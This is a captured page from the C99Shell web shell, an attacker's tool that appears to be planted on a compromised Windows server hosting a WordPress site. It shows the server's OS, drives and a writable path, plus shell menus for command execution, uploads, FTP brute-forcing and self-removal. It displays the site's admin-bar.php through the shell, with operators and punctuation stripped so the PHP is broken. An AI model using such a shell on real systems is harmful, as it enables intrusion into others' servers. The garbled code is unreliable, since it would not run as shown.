!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\nuevo\htdocs\cumbredelclima\wp-includes\   drwxrwxrwx
Free 1.21 GB of 239.26 GB (0.51%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     admin-bar.php (25.56 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Admin Bar
 *
 * This code handles the building and rendering of the press bar.
 */

/**
 * Instantiate the admin bar object and set it up as a global for access elsewhere.
 *
 * UNHOOKING THIS FUNCTION WILL NOT PROPERLY REMOVE THE ADMIN BAR.
 * For that, use show_admin_bar(false) or the 'show_admin_bar' filter.
 *
 * @since 3.1.0
 * @access private
 * @return bool Whether the admin bar was successfully initialized.
 */
function _wp_admin_bar_init() {
    global 
$wp_admin_bar;

    if ( ! 
is_admin_bar_showing() )
        return 
false;

    
/* Load the admin bar class code ready for instantiation */
    
require_once( ABSPATH WPINC '/class-wp-admin-bar.php' );

    
/* Instantiate the admin bar */

    /**
     * Filter the admin bar class to instantiate.
     *
     * @since 3.1.0
     *
     * @param string $wp_admin_bar_class Admin bar class to use. Default 'WP_Admin_Bar'.
     */
    
$admin_bar_class apply_filters'wp_admin_bar_class''WP_Admin_Bar' );
    if ( 
class_exists$admin_bar_class ) )
        
$wp_admin_bar = new $admin_bar_class;
    else
        return 
false;

    
$wp_admin_bar->initialize();
    
$wp_admin_bar->add_menus();

    return 
true;
}

/**
 * Render the admin bar to the page based on the $wp_admin_bar->menu member var.
 * This is called very late on the footer actions so that it will render after anything else being
 * added to the footer.
 *
 * It includes the action "admin_bar_menu" which should be used to hook in and
 * add new menus to the admin bar. That way you can be sure that you are adding at most optimal point,
 * right before the admin bar is rendered. This also gives you access to the $post global, among others.
 *
 * @since 3.1.0
 */
function wp_admin_bar_render() {
    global 
$wp_admin_bar;

    if ( ! 
is_admin_bar_showing() || ! is_object$wp_admin_bar ) )
        return 
false;

    
/**
     * Load all necessary admin bar items.
     *
     * This is the hook used to add, remove, or manipulate admin bar items.
     *
     * @since 3.1.0
     *
     * @param WP_Admin_Bar $wp_admin_bar WP_Admin_Bar instance, passed by reference
     */
    
do_action_ref_array'admin_bar_menu', array( &$wp_admin_bar ) );

    
/**
     * Fires before the admin bar is rendered.
     *
     * @since 3.1.0
     */
    
do_action'wp_before_admin_bar_render' );

    
$wp_admin_bar->render();

    
/**
     * Fires after the admin bar is rendered.
     *
     * @since 3.1.0
     */
    
do_action'wp_after_admin_bar_render' );
}

/**
 * Add the WordPress logo menu.
 *
 * @since 3.3.0
 *
 * @param WP_Admin_Bar $wp_admin_bar
 */
function wp_admin_bar_wp_menu$wp_admin_bar ) {
    
$wp_admin_bar->add_menu( array(
        
'id'    => 'wp-logo',
        
'title' => '<span class="ab-icon"></span><span class="screen-reader-text">' __'About WordPress' ) . '</span>',
        
'href'  => self_admin_url'about.php' ),
    ) );

    if ( 
is_user_logged_in() ) {
        
// Add "About WordPress" link
        
$wp_admin_bar->add_menu( array(
            
'parent' => 'wp-logo',
            
'id'     => 'about',
            
'title'  => __('About WordPress'),
            
'href'   => self_admin_url'about.php' ),
        ) );
    }

    
// Add WordPress.org link
    
$wp_admin_bar->add_menu( array(
        
'parent'    => 'wp-logo-external',
        
'id'        => 'wporg',
        
'title'     => __('WordPress.org'),
        
'href'      => __('https://wordpress.org/'),
    ) );

    
// Add codex link
    
$wp_admin_bar->add_menu( array(
        
'parent'    => 'wp-logo-external',
        
'id'        => 'documentation',
        
'title'     => __('Documentation'),
        
'href'      => __('https://codex.wordpress.org/'),
    ) );

    
// Add forums link
    
$wp_admin_bar->add_menu( array(
        
'parent'    => 'wp-logo-external',
        
'id'        => 'support-forums',
        
'title'     => __('Support Forums'),
        
'href'      => __('https://wordpress.org/support/'),
    ) );

    
// Add feedback link
    
$wp_admin_bar->add_menu( array(
        
'parent'    => 'wp-logo-external',
        
'id'        => 'feedback',
        
'title'     => __('Feedback'),
        
'href'      => __('https://wordpress.org/support/forum/requests-and-feedback'),
    ) );
}

/**
 * Add the sidebar toggle button.
 *
 * @since 3.8.0
 *
 * @param WP_Admin_Bar $wp_admin_bar
 */
function wp_admin_bar_sidebar_toggle$wp_admin_bar ) {
    if ( 
is_admin() ) {
        
$wp_admin_bar->add_menu( array(
            
'id'    => 'menu-toggle',
            
'title' => '<span class="ab-icon"></span><span class="screen-reader-text">' __'Menu' ) . '</span>',
            
'href'  => '#',
        ) );
    }
}

/**
 * Add the "My Account" item.
 *
 * @since 3.3.0
 *
 * @param WP_Admin_Bar $wp_admin_bar
 */
function wp_admin_bar_my_account_item$wp_admin_bar ) {
    
$user_id      get_current_user_id();
    
$current_user wp_get_current_user();
    
$profile_url  get_edit_profile_url$user_id );

    if ( ! 
$user_id )
        return;

    
$avatar get_avatar$user_id26 );
    
$howdy  sprintf__('Howdy, %1$s'), $current_user->display_name );
    
$class  = empty( $avatar ) ? '' 'with-avatar';

    
$wp_admin_bar->add_menu( array(
        
'id'        => 'my-account',
        
'parent'    => 'top-secondary',
        
'title'     => $howdy $avatar,
        
'href'      => $profile_url,
        
'meta'      => array(
            
'class'     => $class,
        ),
    ) );
}

/**
 * Add the "My Account" submenu items.
 *
 * @since 3.1.0
 *
 * @param WP_Admin_Bar $wp_admin_bar
 */
function wp_admin_bar_my_account_menu$wp_admin_bar ) {
    
$user_id      get_current_user_id();
    
$current_user wp_get_current_user();
    
$profile_url  get_edit_profile_url$user_id );

    if ( ! 
$user_id )
        return;

    
$wp_admin_bar->add_group( array(
        
'parent' => 'my-account',
        
'id'     => 'user-actions',
    ) );

    
$user_info  get_avatar$user_id64 );
    
$user_info .= "<span class='display-name'>{$current_user->display_name}</span>";

    if ( 
$current_user->display_name !== $current_user->user_login )
        
$user_info .= "<span class='username'>{$current_user->user_login}</span>";

    
$wp_admin_bar->add_menu( array(
        
'parent' => 'user-actions',
        
'id'     => 'user-info',
        
'title'  => $user_info,
        
'href'   => $profile_url,
        
'meta'   => array(
            
'tabindex' => -1,
        ),
    ) );
    
$wp_admin_bar->add_menu( array(
        
'parent' => 'user-actions',
        
'id'     => 'edit-profile',
        
'title'  => __'Edit My Profile' ),
        
'href' => $profile_url,
    ) );
    
$wp_admin_bar->add_menu( array(
        
'parent' => 'user-actions',
        
'id'     => 'logout',
        
'title'  => __'Log Out' ),
        
'href'   => wp_logout_url(),
    ) );
}

/**
 * Add the "Site Name" menu.
 *
 * @since 3.3.0
 *
 * @param WP_Admin_Bar $wp_admin_bar
 */
function wp_admin_bar_site_menu$wp_admin_bar ) {
    
// Don't show for logged out users.
    
if ( ! is_user_logged_in() )
        return;

    
// Show only when the user is a member of this site, or they're a super admin.
    
if ( ! is_user_member_of_blog() && ! is_super_admin() )
        return;

    
$blogname get_bloginfo('name');

    if ( ! 
$blogname ) {
        
$blogname preg_replace'#^(https?://)?(www.)?#'''get_home_url() );
    }

    if ( 
is_network_admin() ) {
        
$blogname sprintf__('Network Admin: %s'), esc_htmlget_current_site()->site_name ) );
    } elseif ( 
is_user_admin() ) {
        
$blogname sprintf__('Global Dashboard: %s'), esc_htmlget_current_site()->site_name ) );
    }

    
$title wp_html_excerpt$blogname40'&hellip;' );

    
$wp_admin_bar->add_menu( array(
        
'id'    => 'site-name',
        
'title' => $title,
        
'href'  => is_admin() ? home_url'/' ) : admin_url(),
    ) );

    
// Create submenu items.

    
if ( is_admin() ) {
        
// Add an option to visit the site.
        
$wp_admin_bar->add_menu( array(
            
'parent' => 'site-name',
            
'id'     => 'view-site',
            
'title'  => __'Visit Site' ),
            
'href'   => home_url'/' ),
        ) );

        if ( 
is_blog_admin() && is_multisite() && current_user_can'manage_sites' ) ) {
            
$wp_admin_bar->add_menu( array(
                
'parent' => 'site-name',
                
'id'     => 'edit-site',
                
'title'  => __'Edit Site' ),
                
'href'   => network_admin_url'site-info.php?id=' get_current_blog_id() ),
            ) );
        }

    } else {
        
// We're on the front end, link to the Dashboard.
        
$wp_admin_bar->add_menu( array(
            
'parent' => 'site-name',
            
'id'     => 'dashboard',
            
'title'  => __'Dashboard' ),
            
'href'   => admin_url(),
        ) );

        
// Add the appearance submenu items.
        
wp_admin_bar_appearance_menu$wp_admin_bar );
    }
}

/**
 * Add the "My Sites/[Site Name]" menu and all submenus.
 *
 * @since 3.1.0
 *
 * @param WP_Admin_Bar $wp_admin_bar
 */
function wp_admin_bar_my_sites_menu$wp_admin_bar ) {
    
// Don't show for logged out users or single site mode.
    
if ( ! is_user_logged_in() || ! is_multisite() )
        return;

    
// Show only when the user has at least one site, or they're a super admin.
    
if ( count$wp_admin_bar->user->blogs ) < && ! is_super_admin() )
        return;

    if ( 
$wp_admin_bar->user->active_blog ) {
        
$my_sites_url get_admin_url$wp_admin_bar->user->active_blog->blog_id'my-sites.php' );
    } else {
        
$my_sites_url admin_url'my-sites.php' );
    }

    
$wp_admin_bar->add_menu( array(
        
'id'    => 'my-sites',
        
'title' => __'My Sites' ),
        
'href'  => $my_sites_url,
    ) );

    if ( 
is_super_admin() ) {
        
$wp_admin_bar->add_group( array(
            
'parent' => 'my-sites',
            
'id'     => 'my-sites-super-admin',
        ) );

        
$wp_admin_bar->add_menu( array(
            
'parent' => 'my-sites-super-admin',
            
'id'     => 'network-admin',
            
'title'  => __('Network Admin'),
            
'href'   => network_admin_url(),
        ) );

        
$wp_admin_bar->add_menu( array(
            
'parent' => 'network-admin',
            
'id'     => 'network-admin-d',
            
'title'  => __'Dashboard' ),
            
'href'   => network_admin_url(),
        ) );
        
$wp_admin_bar->add_menu( array(
            
'parent' => 'network-admin',
            
'id'     => 'network-admin-s',
            
'title'  => __'Sites' ),
            
'href'   => network_admin_url'sites.php' ),
        ) );
        
$wp_admin_bar->add_menu( array(
            
'parent' => 'network-admin',
            
'id'     => 'network-admin-u',
            
'title'  => __'Users' ),
            
'href'   => network_admin_url'users.php' ),
        ) );
        
$wp_admin_bar->add_menu( array(
            
'parent' => 'network-admin',
            
'id'     => 'network-admin-t',
            
'title'  => __'Themes' ),
            
'href'   => network_admin_url'themes.php' ),
        ) );
        
$wp_admin_bar->add_menu( array(
            
'parent' => 'network-admin',
            
'id'     => 'network-admin-p',
            
'title'  => __'Plugins' ),
            
'href'   => network_admin_url'plugins.php' ),
        ) );
    }

    
// Add site links
    
$wp_admin_bar->add_group( array(
        
'parent' => 'my-sites',
        
'id'     => 'my-sites-list',
        
'meta'   => array(
            
'class' => is_super_admin() ? 'ab-sub-secondary' '',
        ),
    ) );

    foreach ( (array) 
$wp_admin_bar->user->blogs as $blog ) {
        
switch_to_blog$blog->userblog_id );

        
$blavatar '<div class="blavatar"></div>';

        
$blogname $blog->blogname;

        if ( ! 
$blogname ) {
            
$blogname preg_replace'#^(https?://)?(www.)?#'''get_home_url() );
        }

        
$menu_id  'blog-' $blog->userblog_id;

        
$wp_admin_bar->add_menu( array(
            
'parent'    => 'my-sites-list',
            
'id'        => $menu_id,
            
'title'     => $blavatar $blogname,
            
'href'      => admin_url(),
        ) );

        
$wp_admin_bar->add_menu( array(
            
'parent' => $menu_id,
            
'id'     => $menu_id '-d',
            
'title'  => __'Dashboard' ),
            
'href'   => admin_url(),
        ) );

        if ( 
current_user_canget_post_type_object'post' )->cap->create_posts ) ) {
            
$wp_admin_bar->add_menu( array(
                
'parent' => $menu_id,
                
'id'     => $menu_id '-n',
                
'title'  => __'New Post' ),
                
'href'   => admin_url'post-new.php' ),
            ) );
        }

        if ( 
current_user_can'edit_posts' ) ) {
            
$wp_admin_bar->add_menu( array(
                
'parent' => $menu_id,
                
'id'     => $menu_id '-c',
                
'title'  => __'Manage Comments' ),
                
'href'   => admin_url'edit-comments.php' ),
            ) );
        }

        
$wp_admin_bar->add_menu( array(
            
'parent' => $menu_id,
            
'id'     => $menu_id '-v',
            
'title'  => __'Visit Site' ),
            
'href'   => home_url'/' ),
        ) );

        
restore_current_blog();
    }
}

/**
 * Provide a shortlink.
 *
 * @since 3.1.0
 *
 * @param WP_Admin_Bar $wp_admin_bar
 */
function wp_admin_bar_shortlink_menu$wp_admin_bar ) {
    
$short wp_get_shortlink0'query' );
    
$id 'get-shortlink';

    if ( empty( 
$short ) )
        return;

    
$html '<input class="shortlink-input" type="text" readonly="readonly" value="' esc_attr$short ) . '" />';

    
$wp_admin_bar->add_menu( array(
        
'id' => $id,
        
'title' => __'Shortlink' ),
        
'href' => $short,
        
'meta' => array( 'html' => $html ),
    ) );
}

/**
 * Provide an edit link for posts and terms.
 *
 * @since 3.1.0
 *
 * @param WP_Admin_Bar $wp_admin_bar
 */
function wp_admin_bar_edit_menu$wp_admin_bar ) {
    global 
$tag$wp_the_query;

    if ( 
is_admin() ) {
        
$current_screen get_current_screen();
        
$post get_post();

        if ( 
'post' == $current_screen->base
            
&& 'add' != $current_screen->action
            
&& ( $post_type_object get_post_type_object$post->post_type ) )
            && 
current_user_can'read_post'$post->ID )
            && ( 
$post_type_object->public )
            && ( 
$post_type_object->show_in_admin_bar ) )
        {
            if( 
'draft' == $post->post_status ) {
                
$preview_link set_url_schemeget_permalink$post->ID ) );
                
/** This filter is documented in wp-admin/includes/meta-boxes.php */
                
$preview_link apply_filters'preview_post_link'add_query_arg'preview''true'$preview_link ), $post );
                
$wp_admin_bar->add_menu( array(
                    
'id' => 'preview',
                    
'title' => $post_type_object->labels->view_item,
                    
'href' => esc_url$preview_link ),
                    
'meta' => array( 'target' => 'wp-preview-' $post->ID ),
                ) );
            } else {
                
$wp_admin_bar->add_menu( array(
                    
'id' => 'view',
                    
'title' => $post_type_object->labels->view_item,
                    
'href' => get_permalink$post->ID )
                ) );
            }
        } elseif ( 
'edit-tags' == $current_screen->base
            
&& isset( $tag ) && is_object$tag )
            && ( 
$tax get_taxonomy$tag->taxonomy ) )
            && 
$tax->public )
        {
            
$wp_admin_bar->add_menu( array(
                
'id' => 'view',
                
'title' => $tax->labels->view_item,
                
'href' => get_term_link$tag )
            ) );
        }
    } else {
        
$current_object $wp_the_query->get_queried_object();

        if ( empty( 
$current_object ) )
            return;

        if ( ! empty( 
$current_object->post_type )
            && ( 
$post_type_object get_post_type_object$current_object->post_type ) )
            && 
current_user_can'edit_post'$current_object->ID )
            && 
$post_type_object->show_ui && $post_type_object->show_in_admin_bar
            
&& $edit_post_link get_edit_post_link$current_object->ID ) )
        {
            
$wp_admin_bar->add_menu( array(
                
'id' => 'edit',
                
'title' => $post_type_object->labels->edit_item,
                
'href' => $edit_post_link
            
) );
        } elseif ( ! empty( 
$current_object->taxonomy )
            && ( 
$tax get_taxonomy$current_object->taxonomy ) )
            && 
current_user_can$tax->cap->edit_terms )
            && 
$tax->show_ui
            
&& $edit_term_link get_edit_term_link$current_object->term_id$current_object->taxonomy ) )
        {
            
$wp_admin_bar->add_menu( array(
                
'id' => 'edit',
                
'title' => $tax->labels->edit_item,
                
'href' => $edit_term_link
            
) );
        }
    }
}

/**
 * Add "Add New" menu.
 *
 * @since 3.1.0
 *
 * @param WP_Admin_Bar $wp_admin_bar
 */
function wp_admin_bar_new_content_menu$wp_admin_bar ) {
    
$actions = array();

    
$cpts = (array) get_post_types( array( 'show_in_admin_bar' => true ), 'objects' );

    if ( isset( 
$cpts['post'] ) && current_user_can$cpts['post']->cap->create_posts ) )
        
$actions'post-new.php' ] = array( $cpts['post']->labels->name_admin_bar'new-post' );

    if ( isset( 
$cpts['attachment'] ) && current_user_can'upload_files' ) )
        
$actions'media-new.php' ] = array( $cpts['attachment']->labels->name_admin_bar'new-media' );

    if ( 
current_user_can'manage_links' ) )
        
$actions'link-add.php' ] = array( _x'Link''add new from admin bar' ), 'new-link' );

    if ( isset( 
$cpts['page'] ) && current_user_can$cpts['page']->cap->create_posts ) )
        
$actions'post-new.php?post_type=page' ] = array( $cpts['page']->labels->name_admin_bar'new-page' );

    unset( 
$cpts['post'], $cpts['page'], $cpts['attachment'] );

    
// Add any additional custom post types.
    
foreach ( $cpts as $cpt ) {
        if ( ! 
current_user_can$cpt->cap->create_posts ) )
            continue;

        
$key 'post-new.php?post_type=' $cpt->name;
        
$actions$key ] = array( $cpt->labels->name_admin_bar'new-' $cpt->name );
    }
    
// Avoid clash with parent node and a 'content' post type.
    
if ( isset( $actions['post-new.php?post_type=content'] ) )
        
$actions['post-new.php?post_type=content'][1] = 'add-new-content';

    if ( 
current_user_can'create_users' ) || current_user_can'promote_users' ) )
        
$actions'user-new.php' ] = array( _x'User''add new from admin bar' ), 'new-user' );

    if ( ! 
$actions )
        return;

    
$title '<span class="ab-icon"></span><span class="ab-label">' _x'New''admin bar menu group label' ) . '</span>';

    
$wp_admin_bar->add_menu( array(
        
'id'    => 'new-content',
        
'title' => $title,
        
'href'  => admin_urlcurrentarray_keys$actions ) ) ),
    ) );

    foreach ( 
$actions as $link => $action ) {
        list( 
$title$id ) = $action;

        
$wp_admin_bar->add_menu( array(
            
'parent'    => 'new-content',
            
'id'        => $id,
            
'title'     => $title,
            
'href'      => admin_url$link )
        ) );
    }
}

/**
 * Add edit comments link with awaiting moderation count bubble.
 *
 * @since 3.1.0
 *
 * @param WP_Admin_Bar $wp_admin_bar
 */
function wp_admin_bar_comments_menu$wp_admin_bar ) {
    if ( !
current_user_can('edit_posts') )
        return;

    
$awaiting_mod wp_count_comments();
    
$awaiting_mod $awaiting_mod->moderated;
    
$awaiting_title esc_attrsprintf_n'%s comment awaiting moderation''%s comments awaiting moderation'$awaiting_mod ), number_format_i18n$awaiting_mod ) ) );

    
$icon  '<span class="ab-icon"></span>';
    
$title '<span id="ab-awaiting-mod" class="ab-label awaiting-mod pending-count count-' $awaiting_mod '">' number_format_i18n$awaiting_mod ) . '</span>';

    
$wp_admin_bar->add_menu( array(
        
'id'    => 'comments',
        
'title' => $icon $title,
        
'href'  => admin_url('edit-comments.php'),
        
'meta'  => array( 'title' => $awaiting_title ),
    ) );
}

/**
 * Add appearance submenu items to the "Site Name" menu.
 *
 * @since 3.1.0
 *
 * @param WP_Admin_Bar $wp_admin_bar
 */
function wp_admin_bar_appearance_menu$wp_admin_bar ) {
    
$wp_admin_bar->add_group( array( 'parent' => 'site-name''id' => 'appearance' ) );

    
$current_url = ( is_ssl() ? 'https://' 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    
$customize_url add_query_arg'url'urlencode$current_url ), wp_customize_url() );

    if ( 
current_user_can'switch_themes' ) ) {
        
$wp_admin_bar->add_menu( array(
            
'parent' => 'appearance',
            
'id'     => 'themes',
            
'title'  => __'Themes' ),
            
'href'   => admin_url'themes.php' ),
            
'meta'   => array(
                
'class' => 'hide-if-customize',
            ),
        ) );

        if ( 
current_user_can'customize' ) ) {
            
$wp_admin_bar->add_menu( array(
                
'parent' => 'appearance',
                
'id'     => 'customize-themes',
                
'title'  => __'Themes' ),
                
'href'   => add_query_argurlencode'autofocus[section]' ), 'themes'$customize_url ), // urlencode() needed due to #16859
                
'meta'   => array(
                    
'class' => 'hide-if-no-customize',
                ),
            ) );
        }
    }

    if ( 
current_user_can'customize' ) ) {
        
$wp_admin_bar->add_menu( array(
            
'parent' => 'appearance',
            
'id'     => 'customize',
            
'title'  => __('Customize'),
            
'href'   => $customize_url,
            
'meta'   => array(
                
'class' => 'hide-if-no-customize',
            ),
        ) );
        
add_action'wp_before_admin_bar_render''wp_customize_support_script' );
    }

    if ( ! 
current_user_can'edit_theme_options' ) ) {
        return;
    }

    if ( 
current_theme_supports'widgets' )  ) {
        
$wp_admin_bar->add_menu( array(
            
'parent' => 'appearance',
            
'id'     => 'widgets',
            
'title'  => __'Widgets' ),
            
'href'   => admin_url'widgets.php' ),
            
'meta'   => array(
                
'class' => 'hide-if-customize',
            ),
        ) );

        if ( 
current_user_can'customize' ) ) {
            
$wp_admin_bar->add_menu( array(
                
'parent' => 'appearance',
                
'id'     => 'customize-widgets',
                
'title'  => __'Widgets' ),
                
'href'   => add_query_argurlencode'autofocus[panel]' ), 'widgets'$customize_url ), // urlencode() needed due to #16859
                
'meta'   => array(
                    
'class' => 'hide-if-no-customize',
                ),
            ) );
        }
    }

    if ( 
current_theme_supports'menus' ) || current_theme_supports'widgets' ) )
        
$wp_admin_bar->add_menu( array( 'parent' => 'appearance''id' => 'menus''title' => __('Menus'), 'href' => admin_url('nav-menus.php') ) );

    if ( 
current_theme_supports'custom-background' ) ) {
        
$wp_admin_bar->add_menu( array(
            
'parent' => 'appearance',
            
'id'     => 'background',
            
'title'  => __'Background' ),
            
'href'   => admin_url'themes.php?page=custom-background' ),
            
'meta'   => array(
                
'class' => 'hide-if-customize',
            ),
        ) );

        if ( 
current_user_can'customize' ) ) {
            
$wp_admin_bar->add_menu( array(
                
'parent' => 'appearance',
                
'id'     => 'customize-background',
                
'title'  => __'Background' ),
                
'href'   => add_query_argurlencode'autofocus[control]' ), 'background_image'$customize_url ), // urlencode() needed due to #16859
                
'meta'   => array(
                    
'class' => 'hide-if-no-customize',
                ),
            ) );
        }
    }

    if ( 
current_theme_supports'custom-header' ) ) {
        
$wp_admin_bar->add_menu( array(
            
'parent' => 'appearance',
            
'id'     => 'header',
            
'title'  => __'Header' ),
            
'href'   => admin_url'themes.php?page=custom-header' ),
            
'meta'   => array(
                
'class' => 'hide-if-customize',
            ),
        ) );

        if ( 
current_user_can'customize' ) ) {
            
$wp_admin_bar->add_menu( array(
                
'parent' => 'appearance',
                
'id'     => 'customize-header',
                
'title'  => __'Header' ),
                
'href'   => add_query_argurlencode'autofocus[control]' ), 'header_image'$customize_url ), // urlencode() needed due to #16859
                
'meta'   => array(
                    
'class' => 'hide-if-no-customize',
                ),
            ) );
        }
    }

}

/**
 * Provide an update link if theme/plugin/core updates are available.
 *
 * @since 3.1.0
 *
 * @param WP_Admin_Bar $wp_admin_bar
 */
function wp_admin_bar_updates_menu$wp_admin_bar ) {

    
$update_data wp_get_update_data();

    if ( !
$update_data['counts']['total'] )
        return;

    
$title '<span class="ab-icon"></span><span class="ab-label">' number_format_i18n$update_data['counts']['total'] ) . '</span>';
    
$title .= '<span class="screen-reader-text">' $update_data['title'] . '</span>';

    
$wp_admin_bar->add_menu( array(
        
'id'    => 'updates',
        
'title' => $title,
        
'href'  => network_admin_url'update-core.php' ),
        
'meta'  => array(
            
'title' => $update_data['title'],
        ),
    ) );
}

/**
 * Add search form.
 *
 * @since 3.3.0
 *
 * @param WP_Admin_Bar $wp_admin_bar
 */
function wp_admin_bar_search_menu$wp_admin_bar ) {
    if ( 
is_admin() )
        return;

    
$form  '<form action="' esc_urlhome_url'/' ) ) . '" method="get" id="adminbarsearch">';
    
$form .= '<input class="adminbar-input" name="s" id="adminbar-search" type="text" value="" maxlength="150" />';
    
$form .= '<label for="adminbar-search" class="screen-reader-text">' __'Search' ) . '</label>';
    
$form .= '<input type="submit" class="adminbar-button" value="' __('Search') . '"/>';
    
$form .= '</form>';

    
$wp_admin_bar->add_menu( array(
        
'parent' => 'top-secondary',
        
'id'     => 'search',
        
'title'  => $form,
        
'meta'   => array(
            
'class'    => 'admin-bar-search',
            
'tabindex' => -1,
        )
    ) );
}

/**
 * Add secondary menus.
 *
 * @since 3.3.0
 *
 * @param WP_Admin_Bar $wp_admin_bar
 */
function wp_admin_bar_add_secondary_groups$wp_admin_bar ) {
    
$wp_admin_bar->add_group( array(
        
'id'     => 'top-secondary',
        
'meta'   => array(
            
'class' => 'ab-top-secondary',
        ),
    ) );

    
$wp_admin_bar->add_group( array(
        
'parent' => 'wp-logo',
        
'id'     => 'wp-logo-external',
        
'meta'   => array(
            
'class' => 'ab-sub-secondary',
        ),
    ) );
}

/**
 * Style and scripts for the admin bar.
 *
 * @since 3.1.0
 */
function wp_admin_bar_header() { ?>
<style type="text/css" media="print">#wpadminbar { display:none; }</style>
<?php
}

/**
 * Default admin bar callback.
 *
 * @since 3.1.0
 */
function _admin_bar_bump_cb() { ?>
<style type="text/css" media="screen">
    html { margin-top: 32px !important; }
    * html body { margin-top: 32px !important; }
    @media screen and ( max-width: 782px ) {
        html { margin-top: 46px !important; }
        * html body { margin-top: 46px !important; }
    }
</style>
<?php
}

/**
 * Set the display status of the admin bar.
 *
 * This can be called immediately upon plugin load. It does not need to be called from a function hooked to the init action.
 *
 * @since 3.1.0
 *
 * @param bool $show Whether to allow the admin bar to show.
 * @return void
 */
function show_admin_bar$show ) {
    global 
$show_admin_bar;
    
$show_admin_bar = (bool) $show;
}

/**
 * Determine whether the admin bar should be showing.
 *
 * @since 3.1.0
 *
 * @return bool Whether the admin bar should be showing.
 */
function is_admin_bar_showing() {
    global 
$show_admin_bar$pagenow;

    
// For all these types of requests, we never want an admin bar.
    
if ( defined('XMLRPC_REQUEST') || defined('DOING_AJAX') || defined('IFRAME_REQUEST') )
        return 
false;

    
// Integrated into the admin.
    
if ( is_admin() )
        return 
true;

    if ( ! isset( 
$show_admin_bar ) ) {
        if ( ! 
is_user_logged_in() || 'wp-login.php' == $pagenow ) {
            
$show_admin_bar false;
        } else {
            
$show_admin_bar _get_admin_bar_pref();
        }
    }

    
/**
     * Filter whether to show the admin bar.
     *
     * Returning false to this hook is the recommended way to hide the admin bar.
     * The user's display preference is used for logged in users.
     *
     * @since 3.1.0
     *
     * @param bool $show_admin_bar Whether the admin bar should be shown. Default false.
     */
    
$show_admin_bar apply_filters'show_admin_bar'$show_admin_bar );

    return 
$show_admin_bar;
}

/**
 * Retrieve the admin bar display preference of a user.
 *
 * @since 3.1.0
 * @access private
 *
 * @param string $context Context of this preference check. Defaults to 'front'. The 'admin'
 *     preference is no longer used.
 * @param int $user Optional. ID of the user to check, defaults to 0 for current user.
 * @return bool Whether the admin bar should be showing for this user.
 */
function _get_admin_bar_pref$context 'front'$user ) {
    
$pref get_user_option"show_admin_bar_{$context}"$user );
    if ( 
false === $pref )
        return 
true;

    return 
'true' === $pref;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--